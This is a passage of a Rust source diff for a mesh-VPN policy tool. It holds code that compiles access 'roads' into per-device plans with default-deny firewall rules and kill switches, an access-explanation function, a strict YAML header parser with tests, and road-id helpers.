problems: store.problems.clone(),
..Compiled::default()
};
let (Some(dir), Some(devs)) = (&store.directory, &store.devices) else {
out.problems.sort();
return out;
};
let name = |k: &DeviceKey| {
devs.devices
.get(k)
.map_or_else(|| k.short().to_string(), |d| d.name.clone())
};
let mut extras: BTreeMap<DeviceKey, Extras> = BTreeMap::new();
let mut expiry: BTreeMap<DeviceKey, Instant> = BTreeMap::new();
let mut touch = |k: &DeviceKey, road: &Road| {
if let Some(u) = &road.until {
let at = u.at();
expiry
.entry(k.clone())
.and_modify(|e| *e = (*e).min(at))
.or_insert(at);
}
};
let index = Index::new(devs);
let mut roads: Vec<&Road> = store.roads.iter().collect();
roads.sort_by(|a, b| a.id.cmp(&b.id));
for road in roads {
let subject = index.devices_of(&road.subject, road.on.as_ref(), dir, devs);
let problems = check(road, dir, devs, &subject);
if !problems.is_empty() {
out.problems.extend(problems);
// "Grants nothing" is right for a grant and wrong for a restriction: a kill switch whose exit stops
// being one, or leaves devices.json, must not switch the protection off (QA F-03). It stays on,
// through no exit: only the mesh. An expired kill switch ends as written; one that does not parse
// is not in the store at all (`via check` reports it).
if road.verb == Verb::NeverOnlineWithout {
let exit = match &road.object {
Some(Place::Exit(k)) => Some(k),
_ => None,
};
let live = road.until.as_ref().is_none_or(|u| u.at() > now);
for d in subject.iter().filter(|d| Some(*d) != exit) {
if live {
touch(d, road);
extras
.entry(d.clone())
.or_default()
.kill_closed
.insert(road.id.clone());
}
}
}
continue;
}
let inactive = |field: Option<&str>, code, msg: String| {
Problem::inactive(&road.path, field, code, msg).at(field.map_or(0, |f| road.line_of(f)))
};
if let Some(u) = &road.until
&& u.at() <= now
{
out.problems.push(inactive(
Some("until"),
r::ROAD_EXPIRED,
format!("expired at {}", u.as_str()),
));
continue;
}
if subject.is_empty() {
out.problems.push(inactive(
Some("subject"),
r::ROAD_NO_DEVICES,
format!("{} has no devices in devices.json", road.subject),
));
continue;
}
let mut effects = 0usize;
match (road.verb, &road.object) {
(Verb::CanReach, Some(object)) => {
let (host, dst, forward, ports, dns) = match object {
Place::Device(k) => (
k.clone(),
Net::host(devs.devices[k].address.0),
false,
road.ports.clone(),
None,
),
Place::Service(h) => {
let (d, s) = devs.service(h).expect("checked");
let ports = road.ports.clone().unwrap_or_else(|| s.ports.clone());
(
d.key.clone(),
Net::host(s.endpoint(d).0),
false,
Some(ports),
Some(h.clone()),
)
}
Place::Subnet(n) => (
devs.router_of(n).expect("checked").key.clone(),
*n,
true,
road.ports.clone(),
None,
),
Place::Exit(_) => unreachable!("the parser refuses exit objects for can-reach"),
};
// A device road reaches the whole device: its own address and those of the services it hosts on
// an address of their own (same family as the sender only).
let extra: Vec<Net> = match object {
Place::Device(k) => devs.devices[k]
.services
.iter()
.filter_map(|s| s.address.map(|a| Net::host(a.0)))
.collect(),
_ => Vec::new(),
};
let mut other_family: Vec<&str> = Vec::new();
for from in subject.iter().filter(|d| **d != host) {
// A device has one mesh address. From an IPv4 address to an IPv6 place (or the other way)
// the rule could never match: grant nothing, and say so (QA F-06).
if devs.devices[from].address.0.is_ipv4() != dst.inner().addr().is_ipv4() {
other_family.push(&devs.devices[from].name);
continue;
}
touch(from, road);
effects += 1;
touch(&host, road);
let family = devs.devices[from].address.0.is_ipv4();
for d in std::iter::once(dst).chain(
extra
.iter()
.copied()
.filter(|n| n.inner().addr().is_ipv4() == family),
) {
out.grants.push(Grant::Reach {
road: road.id.clone(),
from: from.clone(),
host: host.clone(),
dst: d,
forward,
ports: ports.clone(),
dns: dns.clone(),
via: road.via.clone(),
});
}
}
if !other_family.is_empty() {
other_family.sort();
out.problems.push(inactive(
Some("object"),
r::ROAD_FAMILY,
format!(
"{dst} is {}, and the mesh address of {} is not: nothing granted there",
if dst.inner().addr().is_ipv4() {
"IPv4"
} else {
"IPv6"
},
other_family.join(", ")
),
));
if effects == 0 {
continue;
}
}
}
(Verb::ExitsThrough, Some(Place::Exit(exit))) => {
for from in subject.iter().filter(|d| *d != exit) {
touch(from, road);
effects += 1;
touch(exit, road);
out.grants.push(Grant::Exit {
road: road.id.clone(),
from: from.clone(),
exit: exit.clone(),
});
}
}
(Verb::GoesDirect, Some(Place::Subnet(n))) => {
let app = match &road.subject {
Subject::App(a) => Some(a.clone()),
_ => None,
};
for d in &subject {
touch(d, road);
effects += 1;
extras
.entry(d.clone())
.or_default()
.direct
.entry((app.clone(), *n))
.or_default()
.insert(road.id.clone());
}
}
(Verb::NeverOnlineWithout, Some(Place::Exit(exit))) => {
for d in subject.iter().filter(|d| *d != exit) {
touch(d, road);
effects += 1;
extras
.entry(d.clone())
.or_default()
.kill
.entry(exit.clone())
.or_default()
.insert(road.id.clone());
}
}
(Verb::Custom, None) => {
let Body::Raw(raw) = &road.body else {
unreachable!("the parser requires a raw block")
};
for d in &subject {
touch(d, road);
effects += 1;
extras
.entry(d.clone())
.or_default()
.custom
.push(plan::Custom {
road: road.id.clone(),
// The device decides, like a peer's flag: a classic device's raw block is never
// labelled post-quantum, whatever the road says (QA F-05).
classic: road.is_classic() || devs.devices[d].classic,
raw: raw.clone(),
});
}
}
_ => unreachable!("the parser checks the verb's object kinds"),
}
if effects == 0 {
out.problems.push(inactive(
Some("object"),
r::ROAD_SELF,
"every device of the subject is the object's own device: it grants nothing".into(),
));
}
}
// A device with active exit roads to two different exits gets neither.
let mut exits: BTreeMap<DeviceKey, BTreeMap<DeviceKey, BTreeSet<RoadId>>> = BTreeMap::new();
for g in &out.grants {
if let Grant::Exit { road, from, exit } = g {
exits
.entry(from.clone())
.or_default()
.entry(exit.clone())
.or_default()
.insert(road.clone());
}
}
let mut conflicted: BTreeSet<DeviceKey> = BTreeSet::new();
for (from, by_exit) in &exits {
if by_exit.len() < 2 {
continue;
}
conflicted.insert(from.clone());
let all: BTreeSet<&RoadId> = by_exit.values().flatten().collect();
for id in &all {
let road = store
.roads
.iter()
.find(|r| &r.id == *id)
.expect("a granting road");
let others: Vec<String> = all
.iter()
.filter(|o| o != &id)
.map(|o| o.to_string())
.collect();
out.problems.push(
Problem::inactive(
&road.path,
Some("object"),
r::EXIT_CONFLICT,
format!(
"for {}: conflicts with road {} (two different exits); that device exits through neither",
name(from),
others.join(", ")
),
)
.at(road.line_of("object")),
);
}
}
out.grants
.retain(|g| !matches!(g, Grant::Exit { from, .. } if conflicted.contains(from)));
// The kill switch wins over going direct to the internet: a device with a kill switch never sends internet
// traffic outside the tunnel, whatever a goes-direct road says (QA R-47). Going direct to a private subnet
// (the local network) stays allowed.
for (key, ex) in extras.iter_mut() {
if !ex.has_kill_switch() {
continue;
}
let kill_roads: Vec<String> = ex
.kill
.values()
.flatten()
.chain(&ex.kill_closed)
.collect::<BTreeSet<_>>()
.into_iter()
.map(|r| r.to_string())
.collect();
let dropped: Vec<(DirectKey, BTreeSet<RoadId>)> = ex
.direct
.iter()
.filter(|((_, n), _)| n.reaches_internet())
.map(|(k, v)| (k.clone(), v.clone()))
.collect();
for ((app, subnet), roads) in dropped {
ex.direct.remove(&(app, subnet));
for id in roads {
let road = store
.roads
.iter()
.find(|r| r.id == id)
.expect("a granting road");
out.problems.push(
Problem::inactive(
&road.path,
Some("object"),
r::DIRECT_KILL_SWITCH,
format!(
"for {}: the kill switch (road {}) wins; {subnet} does not go direct",
name(key),
kill_roads.join(", ")
),
)
.at(road.line_of("object")),
);
}
}
}
// Each device's plan reads only the grants that name it.
let mut by_device: BTreeMap<&DeviceKey, Vec<&Grant>> = BTreeMap::new();
for g in &out.grants {
let other = match g {
Grant::Reach { host, .. } => host,
Grant::Exit { exit, .. } => exit,
};
by_device.entry(g.from()).or_default().push(g);
by_device.entry(other).or_default().push(g);
}
for (key, dev) in &devs.devices {
let mine = by_device.remove(key).unwrap_or_default();
out.plans.insert(
key.clone(),
build_plan(key, dev, devs, &mine, extras.remove(key), expiry.get(key)),
);
}
// What the tunnel carries wins over going direct (QA F-02). A direct subnet inside a net this plan sends
// through the tunnel is dropped; one that holds such nets keeps them in the tunnel, listed in `except`,
// so no platform has to guess which route wins.
for plan in out.plans.values_mut() {
let tunnelled: BTreeSet<Net> = plan
.peers
.iter()
.flat_map(|p| p.allowed_ips.iter().copied())
.filter(|n| n.prefix_len() > 0)
.collect();
let mut kept = Vec::new();
for mut d in std::mem::take(&mut plan.direct) {
if let Some(t) = tunnelled.iter().find(|t| t.contains(&d.subnet)) {
for id in &d.roads {
let road = store
.roads
.iter()
.find(|r| &r.id == id)
.expect("a granting road");
out.problems.push(
Problem::inactive(
&road.path,
Some("object"),
r::DIRECT_TUNNELLED,
format!(
"for {}: {} is inside {t}, which goes through the tunnel; it does not go direct",
plan.name, d.subnet
),
)
.at(road.line_of("object")),
);
}
continue;
}
d.except = tunnelled
.iter()
.filter(|t| d.subnet.overlaps(t))
.copied()
.collect();
kept.push(d);
}
plan.direct = kept;
}
out.problems.sort();
out
}
#[derive(Default)]
struct PeerAcc {
allowed: BTreeSet<Net>,
roads: BTreeSet<RoadId>,
vias: BTreeSet<Option<DeviceKey>>,
}
fn build_plan(
me: &DeviceKey,
dev: &crate::snapshot::Device,
devs: &Devices,
grants: &[&Grant],
extras: Option<Extras>,
expiry: Option<&Instant>,
) -> Plan {
let mut peers: BTreeMap<DeviceKey, PeerAcc> = BTreeMap::new();
let mut rules: BTreeMap<RuleKey, BTreeSet<RoadId>> = BTreeMap::new();
let mut dns: BTreeMap<Hostname, (crate::net::Addr, BTreeSet<RoadId>)> = BTreeMap::new();
let mut exit: BTreeMap<DeviceKey, BTreeSet<RoadId>> = BTreeMap::new();
let addr = |k: &DeviceKey| devs.devices[k].address;
for g in grants {
match g {
Grant::Reach {
road,
from,
host,
dst,
forward,
ports,
dns: host_name,
via,
} => {
if from == me {
let p = peers.entry(host.clone()).or_default();
p.allowed.insert(*dst);
p.roads.insert(road.clone());
p.vias.insert(via.clone());
if let Some(h) = host_name {
dns.entry(h.clone())
.or_insert_with(|| {
(crate::net::Addr(dst.inner().addr()), BTreeSet::new())
})
.1
.insert(road.clone());
}
}
if host == me {
let src = Net::host(addr(from).0);
let p = peers.entry(from.clone()).or_default();
p.allowed.insert(src);
p.roads.insert(road.clone());
p.vias.insert(via.clone());
let direction = if *forward {
Direction::Forward
} else {
Direction::In
};
match ports {
None => {
rules
.entry((direction, src, Dst::Net(*dst), Proto::Any, None))
.or_default()
.insert(road.clone());
}
Some(list) => {
for spec in list {
let range = spec.range.map(|(lo, hi)| [lo, hi]);
rules
.entry((direction, src, Dst::Net(*dst), spec.proto, range))
.or_default()
.insert(road.clone());
}
}
}
}
}
Grant::Exit {
road,
from,
exit: through,
} => {
if from == me {
let p = peers.entry(through.clone()).or_default();
p.allowed.insert(Net::v4_default());
p.allowed.insert(Net::v6_default());
p.roads.insert(road.clone());
p.vias.insert(None);
exit.entry(through.clone())
.or_default()
.insert(road.clone());
}
if through == me {
let src = Net::host(addr(from).0);
let p = peers.entry(from.clone()).or_default();
p.allowed.insert(src);
p.roads.insert(road.clone());
p.vias.insert(None);
rules
.entry((Direction::Forward, src, Dst::Internet, Proto::Any, None))
.or_default()
.insert(road.clone());
}
}
}
}
let extras = extras.unwrap_or_default();
let kill_switch = extras.has_kill_switch().then(|| plan::KillSwitch {
// One exit, from valid roads only: through it. Two exits, or any kill-switch road with an error: only
// the mesh.
through: if extras.kill.len() == 1 && extras.kill_closed.is_empty() {
extras.kill.keys().next().cloned()
} else {
None
},
roads: extras
.kill
.values()
.flatten()
.chain(&extras.kill_closed)
.cloned()
.collect::<BTreeSet<_>>()
.into_iter()
.collect(),
});
let mut custom = extras.custom;
custom.sort_by(|a, b| a.road.cmp(&b.road));
Plan {
format: plan::FORMAT,
device: me.clone(),
name: dev.name.clone(),
address: dev.address,
services: dev
.services
.iter()
.filter_map(|s| {
s.address.map(|address| plan::ServiceAddress {
host: s.host.clone(),
address,
})
})
.collect(),
classic: dev.classic,
expires: expiry.map(|e| e.to_string()),
peers: peers
.into_iter()
.map(|(k, acc)| {
let d = &devs.devices[&k];
plan::Peer {
name: d.name.clone(),
address: d.address,
classic: d.classic,
allowed_ips: acc.allowed.into_iter().collect(),
via: if acc.vias.len() == 1 {
acc.vias.into_iter().next().flatten()
} else {
None
},
roads: acc.roads.into_iter().collect(),
key: k,
}
})
.collect(),
firewall: Firewall {
default: Action::Deny,
rules: rules
.into_iter()
.map(|((direction, src, dst, proto, ports), roads)| plan::Rule {
direction,
src,
dst,
proto,
ports,
roads: roads.into_iter().collect(),
})
.collect(),
},
dns: dns
.into_iter()
.map(|(host, (address, roads))| plan::Dns {
host,
address,
roads: roads.into_iter().collect(),
})
.collect(),
exit: exit.into_iter().next().map(|(through, roads)| plan::Exit {
through,
roads: roads.into_iter().collect(),
}),
kill_switch,
direct: extras
.direct
.into_iter()
.map(|((app, subnet), roads)| plan::Direct {
app,
subnet,
except: Vec::new(),
roads: roads.into_iter().collect(),
})
.collect(),
custom,
}
}
+78
View File
@@ -0,0 +1,78 @@
//! `explain`: which roads let this device reach that place. Read from the compiler's own grants, so the
//! answer and the plans cannot drift apart.
use crate::compile::{Compiled, Grant};
use crate::id::RoadId;
use crate::ids::DeviceKey;
use crate::net::Net;
use crate::ports::{self, PortSpec};
use crate::road::Place;
use crate::snapshot::Devices;
use std::collections::BTreeSet;
/// The roads that let `device` reach (some of) `place`, sorted; empty when access is denied.
///
/// A road counts when one of its grants from `device` overlaps the place: the same network or a part of it,
/// and at least one shared port. An exit road counts for `exit:<that exit>`, and for a subnet that reaches
/// the internet unless that subnet goes direct on this device.
pub fn explain(
compiled: &Compiled,
devs: &Devices,
device: &DeviceKey,
place: &Place,
) -> Vec<RoadId> {
let (dst, want_ports): (Option<Net>, Option<Vec<PortSpec>>) = match place {
Place::Device(k) => (devs.devices.get(k).map(|d| Net::host(d.address.0)), None),
Place::Service(h) => match devs.service(h) {
Some((d, s)) => (Some(Net::host(s.endpoint(d).0)), Some(s.ports.clone())),
None => (None, None),
},
Place::Subnet(n) => (Some(*n), None),
Place::Exit(_) => (None, None),
};
let direct: Vec<Net> = compiled
.plans
.get(device)
.map(|p| {
p.direct
.iter()
.filter(|d| d.app.is_none())
.map(|d| d.subnet)
.collect()
})
.unwrap_or_default();
let mut out = BTreeSet::new();
for g in &compiled.grants {
if g.from() != device {
continue;
}
match g {
Grant::Reach {
road,
dst: gdst,
ports: gports,
..
} => {
if let Some(dst) = &dst
&& gdst.overlaps(dst)
&& ports::overlaps(gports.as_deref(), want_ports.as_deref())
{
out.insert(road.clone());
}
}
Grant::Exit { road, exit, .. } => {
let counts = match place {
Place::Exit(k) => k == exit,
Place::Subnet(n) => {
n.reaches_internet() && !direct.iter().any(|d| d.contains(n))
}
_ => false,
};
if counts {
out.insert(road.clone());
}
}
}
}
out.into_iter().collect()
}
+464
View File
@@ -0,0 +1,464 @@
//! The strict YAML subset of road headers: Pensum's header subset (Fabrica `core/docs/FORMATS.md`, "The header
//! subset"). Every header this accepts is valid YAML; most of YAML is refused, each refusal naming the line and
//! the field.
use crate::rules;
/// A field's value. Plain scalars are always strings: `true` is text, the field's reader decides.
#[derive(Debug, Clone, PartialEq, Eq)]
pub enum Value {
/// `key:` with nothing after it: the field is not set.
Absent,
Str(String),
List(Vec<String>),
}
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct Field {
pub key: String,
/// 1-based line in the file.
pub line: usize,
pub value: Value,
}
/// The first problem in a header: line (1-based in the file), field, rule code, message.
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct HeaderError {
pub line: usize,
pub field: Option<String>,
pub code: &'static str,
pub message: String,
}
fn refused(line: usize, field: Option<&str>, message: impl Into<String>) -> HeaderError {
HeaderError {
line,
field: field.map(String::from),
code: rules::YAML_REFUSED,
message: message.into(),
}
}
fn syntax(line: usize, field: Option<&str>, message: impl Into<String>) -> HeaderError {
HeaderError {
line,
field: field.map(String::from),
code: rules::YAML_SYNTAX,
message: message.into(),
}
}
/// Parses header lines (without their line endings). `first_line` is the file line of `lines[0]`.
pub fn parse(lines: &[&str], first_line: usize) -> Result<Vec<Field>, HeaderError> {
let mut fields: Vec<Field> = Vec::new();
let mut i = 0;
while i < lines.len() {
let line = lines[i];
let no = first_line + i;
if line.starts_with('\t') {
return Err(refused(no, None, "tab indentation is not allowed"));
}
let trimmed = line.trim_start_matches(' ');
if trimmed.is_empty() || trimmed.starts_with('#') {
i += 1;
continue;
}
if line.starts_with(' ') {
return Err(refused(
no,
None,
"unexpected indentation: keys start at column 0",
));
}
if line.starts_with('%') {
return Err(refused(no, None, "YAML directives are not allowed"));
}
if line == "..." {
return Err(refused(
no,
None,
"the document end marker `...` is not allowed",
));
}
let Some((key, rest)) = split_key(line) else {
return Err(syntax(
no,
None,
format!("expected `key: value`, found `{}`", crate::ids::clip(line)),
));
};
if fields.iter().any(|f| f.key == key) {
return Err(HeaderError {
line: no,
field: Some(key.to_string()),
code: rules::KEY_DUPLICATE,
message: "duplicate key".into(),
});
}
let rest = rest.trim_start_matches(' ');
let value = if rest.is_empty() || rest.starts_with('#') {
let mut list = Vec::new();
while i + 1 < lines.len() {
let next = lines[i + 1];
if next.starts_with('\t') {
return Err(refused(no + 1, Some(key), "tab indentation is not allowed"));
}
let t = next.trim_start_matches(' ');
if t.len() == next.len() || !(t == "-" || t.starts_with("- ")) {
break;
}
let item_line = first_line + i + 1;
let item = t[1..].trim_start_matches(' ');
if item.starts_with('[') || item.starts_with('-') || item.starts_with('{') {
return Err(refused(
item_line,
Some(key),
"nested lists and mappings are not allowed",
));
}
let (s, after) = scalar(item, false, item_line, key)?;
end_of_value(after, item_line, key)?;
list.push(s);
i += 1;
}
if list.is_empty() {
Value::Absent
} else {
Value::List(list)
}
} else {
inline(rest, no, key)?
};
fields.push(Field {
key: key.to_string(),
line: no,
value,
});
i += 1;
}
Ok(fields)
}
/// `key: rest` with `key` = `[A-Za-z][A-Za-z0-9]*`, the colon followed by a space or the end of the line.
fn split_key(line: &str) -> Option<(&str, &str)> {
let colon = line.find(':')?;
let key = &line[..colon];
let rest = &line[colon + 1..];
let mut b = key.bytes();
let ok =
b.next().is_some_and(|c| c.is_ascii_alphabetic()) && b.all(|c| c.is_ascii_alphanumeric());
(ok && (rest.is_empty() || rest.starts_with(' '))).then_some((key, rest))
}
fn inline(rest: &str, line: usize, key: &str) -> Result<Value, HeaderError> {
if let Some(mut s) = rest.strip_prefix('[') {
let mut items = Vec::new();
loop {
s = s.trim_start_matches(' ');
if let Some(after) = s.strip_prefix(']') {
if !items.is_empty() {
return Err(syntax(line, Some(key), "an empty item in a list"));
}
end_of_value(after, line, key)?;
return Ok(Value::List(items));
}
if s.starts_with('[') || s.starts_with('{') {
return Err(refused(
line,
Some(key),
"nested lists and mappings are not allowed",
));
}
let (item, after) = scalar(s, true, line, key)?;
items.push(item);
let after = after.trim_start_matches(' ');
if let Some(a) = after.strip_prefix(',') {
s = a;
} else if let Some(a) = after.strip_prefix(']') {
end_of_value(a, line, key)?;
return Ok(Value::List(items));
} else {
return Err(syntax(
line,
Some(key),
"a list is `[a, b]`, closed on the same line",
));
}
}
}
let (s, after) = scalar(rest, false, line, key)?;
end_of_value(after, line, key)?;
Ok(Value::Str(s))
}
/// After a value: nothing, or spaces and a ` # comment`.
fn end_of_value(after: &str, line: usize, key: &str) -> Result<(), HeaderError> {
let t = after.trim_start_matches(' ');
if t.is_empty() || (t.starts_with('#') && t.len() < after.len()) {
Ok(())
} else {
Err(syntax(
line,
Some(key),
format!("unexpected `{}` after the value", crate::ids::clip(t)),
))
}
}
/// One scalar at the start of `s`; returns it and what follows.
fn scalar<'a>(
s: &'a str,
in_flow: bool,
line: usize,
key: &str,
) -> Result<(String, &'a str), HeaderError> {
match s.chars().next() {
Some('&') => Err(refused(line, Some(key), "anchors (`&`) are not allowed")),
Some('*') => Err(refused(line, Some(key), "aliases (`*`) are not allowed")),
Some('!') => Err(refused(line, Some(key), "tags (`!`) are not allowed")),
Some('|') | Some('>') => Err(refused(
line,
Some(key),
"block scalars (`|`, `>`) are not allowed",
)),
Some('{') => Err(refused(
line,
Some(key),
"flow mappings (`{}`) are not allowed",
)),
Some('%') | Some('@') | Some('`') | Some('?') | Some(',') | Some(']') | Some('}') => {
Err(syntax(
line,
Some(key),
"a value may not start with this character; quote it",
))
}
Some('"') => double_quoted(&s[1..], line, key),
Some('\'') => single_quoted(&s[1..], line, key),
_ => {
let mut end = s.len();
for (i, c) in s.char_indices() {
if in_flow && matches!(c, ',' | ']') {
end = i;
break;
}
if in_flow && matches!(c, '[' | '{' | '}') {
return Err(syntax(
line,
Some(key),
"quote a list item that holds brackets",
));
}
if c == '#' && i > 0 && s.as_bytes()[i - 1] == b' ' {
end = i;
break;
}
}
let v = s[..end].trim_end_matches(' ');
if v.contains(": ") || v.ends_with(':') {
return Err(syntax(
line,
Some(key),
"a plain value may not contain `: `; quote it",
));
}
if v.is_empty() && in_flow {
return Err(syntax(line, Some(key), "an empty item in a list"));
}
Ok((v.to_string(), &s[v.len()..]))
}
}
}
fn double_quoted<'a>(s: &'a str, line: usize, key: &str) -> Result<(String, &'a str), HeaderError> {
let mut out = String::new();
let mut chars = s.char_indices();
while let Some((i, c)) = chars.next() {
match c {
'"' => return Ok((out, &s[i + 1..])),
'\\' => match chars.next().map(|(_, c)| c) {
Some('"') => out.push('"'),
Some('\\') => out.push('\\'),
Some('n') => out.push('\n'),
Some('t') => out.push('\t'),
Some('r') => out.push('\r'),
Some('u') => {
let hex: String = (0..4)
.filter_map(|_| chars.next().map(|(_, c)| c))
.collect();
let ch = (hex.len() == 4 && hex.bytes().all(|b| b.is_ascii_hexdigit()))
.then(|| u32::from_str_radix(&hex, 16).ok())
.flatten()
.and_then(char::from_u32);
match ch {
Some(ch) => out.push(ch),
None => {
return Err(syntax(
line,
Some(key),
"`\\u` takes 4 hex digits of a character",
));
}
}
}
_ => {
return Err(syntax(
line,
Some(key),
"unknown escape; use \\\" \\\\ \\n \\t \\r \\uXXXX",
));
}
},
c => out.push(c),
}
}
Err(syntax(line, Some(key), "unclosed double-quoted string"))
}
fn single_quoted<'a>(s: &'a str, line: usize, key: &str) -> Result<(String, &'a str), HeaderError> {
let mut out = String::new();
let b = s.as_bytes();
let mut i = 0;
let mut start = 0;
while i < b.len() {
if b[i] == b'\'' {
out.push_str(&s[start..i]);
if b.get(i + 1) == Some(&b'\'') {
out.push('\'');
i += 2;
start = i;
continue;
}
return Ok((out, &s[i + 1..]));
}
i += 1;
}
Err(syntax(line, Some(key), "unclosed single-quoted string"))
}
/// Whether `s` reads back unchanged as a plain scalar in a header value or flow list item.
pub fn is_plain_safe(s: &str, in_flow: bool) -> bool {
let Some(first) = s.chars().next() else {
return false;
};
if "&*!|>{}[]%@`?,#'\"-:".contains(first) || s.ends_with(' ') || s.ends_with(':') {
return false;
}
if s.contains(": ") || s.contains(" #") || s.chars().any(|c| c.is_control()) {
return false;
}
if in_flow && s.contains([',', '[', ']', '{', '}']) {
return false;
}
true
}
/// `s` as a double-quoted scalar.
pub fn quote(s: &str) -> String {
let mut out = String::from("\"");
for c in s.chars() {
match c {
'"' => out.push_str("\\\""),
'\\' => out.push_str("\\\\"),
'\n' => out.push_str("\\n"),
'\t' => out.push_str("\\t"),
'\r' => out.push_str("\\r"),
c if c.is_control() => out.push_str(&format!("\\u{:04x}", c as u32)),
c => out.push(c),
}
}
out.push('"');
out
}
#[cfg(test)]
mod tests {
use super::*;
fn one(line: &str) -> Result<Value, HeaderError> {
parse(&[line], 1).map(|f| f[0].value.clone())
}
#[test]
fn values() {
assert_eq!(one("a: b"), Ok(Value::Str("b".into())));
assert_eq!(one("a: b # note"), Ok(Value::Str("b".into())));
assert_eq!(one("a: b#c"), Ok(Value::Str("b#c".into())));
assert_eq!(one("a: \"x: y\""), Ok(Value::Str("x: y".into())));
assert_eq!(one("a: 'it''s'"), Ok(Value::Str("it's".into())));
assert_eq!(
one("a: [tcp/443, \"udp/53\"] # c"),
Ok(Value::List(vec!["tcp/443".into(), "udp/53".into()]))
);
assert_eq!(one("a: []"), Ok(Value::List(vec![])));
assert_eq!(one("a:"), Ok(Value::Absent));
assert_eq!(
one("a: subnet:fd00::/64"),
Ok(Value::Str("subnet:fd00::/64".into()))
);
assert_eq!(
parse(&["a:", " - x", " - 'y'", "b: c"], 1).unwrap()[0].value,
Value::List(vec!["x".into(), "y".into()])
);
}
#[test]
fn refusals_name_the_line_and_field() {
for (line, code) in [
("a: &x b", rules::YAML_REFUSED),
("a: *x", rules::YAML_REFUSED),
("a: !tag b", rules::YAML_REFUSED),
("a: |", rules::YAML_REFUSED),
("a: >", rules::YAML_REFUSED),
("a: {b: c}", rules::YAML_REFUSED),
("a: [[b]]", rules::YAML_REFUSED),
("a: x: y", rules::YAML_SYNTAX),
("a: \"open", rules::YAML_SYNTAX),
("a: \"\\q\"", rules::YAML_SYNTAX),
("a: [b, ]", rules::YAML_SYNTAX),
("a: [b", rules::YAML_SYNTAX),
("a: \"b\" c", rules::YAML_SYNTAX),
] {
let e = one(line).unwrap_err();
assert_eq!(
(e.code, e.field.as_deref(), e.line),
(code, Some("a"), 1),
"{line}"
);
}
for (lines, code) in [
(&["\ta: b"][..], rules::YAML_REFUSED),
(&[" a: b"][..], rules::YAML_REFUSED),
(&["%YAML 1.2"][..], rules::YAML_REFUSED),
(&["..."][..], rules::YAML_REFUSED),
(&["a: b", "a: c"][..], rules::KEY_DUPLICATE),
(&["a:", " - - b"][..], rules::YAML_REFUSED),
(&["just text"][..], rules::YAML_SYNTAX),
(&["a:b"][..], rules::YAML_SYNTAX),
] {
assert_eq!(parse(lines, 1).unwrap_err().code, code, "{lines:?}");
}
}
#[test]
fn plain_safety_round_trips() {
for s in [
"person:jana",
"tcp/443",
"2026-11-29T23:59:59+01:00",
"subnet:fd00::/64",
"true",
] {
assert!(is_plain_safe(s, true), "{s}");
assert_eq!(one(&format!("a: {s}")), Ok(Value::Str(s.into())));
}
for s in ["", "-x", "a: b", "a #b", "[x", "x ", "'q"] {
assert!(!is_plain_safe(s, false), "{s}");
assert_eq!(
one(&format!("a: {}", quote(s))),
Ok(Value::Str(s.into())),
"{s}"
);
}
}
}
+116
View File
@@ -0,0 +1,116 @@
//! Road ids and file names, in Pensum's style (Fabrica `core/crates/pensum/src/id.rs`).
use std::collections::BTreeSet;
use std::fmt;
/// Lowercase Crockford base32: no `i l o u`.
pub const ALPHABET: &[u8; 32] = b"0123456789abcdefghjkmnpqrstvwxyz";
pub const LEN: usize = 6;
pub const SLUG_MAX: usize = 40;
/// A road id: 6 random characters of [`ALPHABET`].
#[derive(Clone, PartialEq, Eq, PartialOrd, Ord, Hash, serde::Serialize)]
#[serde(transparent)]
pub struct RoadId(String);
impl RoadId {
pub fn new(s: &str) -> Option<RoadId> {
is_valid(s).then(|| RoadId(s.to_string()))
}
pub fn as_str(&self) -> &str {
&self.0
}
}
impl fmt::Display for RoadId {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
f.write_str(&self.0)
}
}
impl fmt::Debug for RoadId {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
write!(f, "RoadId({})", self.0)
}
}
impl<'de> serde::Deserialize<'de> for RoadId {
fn deserialize<D: serde::Deserializer<'de>>(d: D) -> Result<Self, D::Error> {
let s = String::deserialize(d)?;
RoadId::new(&s).ok_or_else(|| serde::de::Error::custom(format!("`{s}` is not a road id")))
}
}
pub fn is_valid(s: &str) -> bool {
s.len() == LEN && s.bytes().all(|b| ALPHABET.contains(&b))
}
/// A random id not in `existing`, from `fill` (the caller's random source: this crate does no I/O).
/// Each byte picks one character (256 / 32: no bias).
pub fn generate_with(existing: &BTreeSet<RoadId>, mut fill: impl FnMut(&mut [u8])) -> RoadId {
loop {
let mut buf = [0u8; LEN];
fill(&mut buf);
let id: String = buf
.iter()
.map(|b| ALPHABET[(b & 31) as usize] as char)
.collect();
let id = RoadId(id);
if !existing.contains(&id) {
return id;
}
}
}
/// Whether a file-name slug is well formed: `[a-z0-9]+(-[a-z0-9]+)*`, at most 40 characters.
pub fn is_valid_slug(s: &str) -> bool {
!s.is_empty()
&& s.len() <= SLUG_MAX
&& s.split('-').all(|part| {
!part.is_empty()
&& part
.bytes()
.all(|b| b.is_ascii_lowercase() || b.is_ascii_digit())
})
}
/// Splits `<id>-<slug>.md` into the id text and the slug, if the name has that shape.
pub fn split_file_name(name: &str) -> Option<(&str, &str)> {
let stem = name.strip_suffix(".md")?;
let (id, slug) = stem.split_once('-')?;
(is_valid(id) && is_valid_slug(slug)).then_some((id, slug))
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn ids_and_names() {
assert!(is_valid("k3f9q2"));
assert!(!is_valid("k3f9qi"), "i is not in the alphabet");
assert!(!is_valid("K3F9Q2"));
assert!(!is_valid("k3f9q"));
assert_eq!(
split_file_name("k3f9q2-jana-photos.md"),
Some(("k3f9q2", "jana-photos"))
);
assert_eq!(split_file_name("k3f9q2.md"), None);
assert_eq!(split_file_name("k3f9q2-Jana.md"), None);
assert_eq!(split_file_name("k3f9q2-jana--photos.md"), None);
}
#[test]
fn generate_skips_existing() {
let mut existing = BTreeSet::new();
existing.insert(RoadId::new("000000").unwrap());
let mut calls = 0;
let id = generate_with(&existing, |buf| {
calls += 1;
buf.fill(if calls == 1 { 0 } else { 1 });
});
assert_eq!(id.as_str(), "111111");
assert_eq!(calls, 2);
}
}
+170
View File
@@ -0,0 +1,170 @@
//! The ids roads point at, matching the formats of the code that owns them (docs/02_via-core.md, "The ids").
use base64::Engine;
use base64::engine::general_purpose::URL_SAFE_NO_PAD;
use std::fmt;
macro_rules! string_id {
($name:ident, $check:path, $what:literal) => {
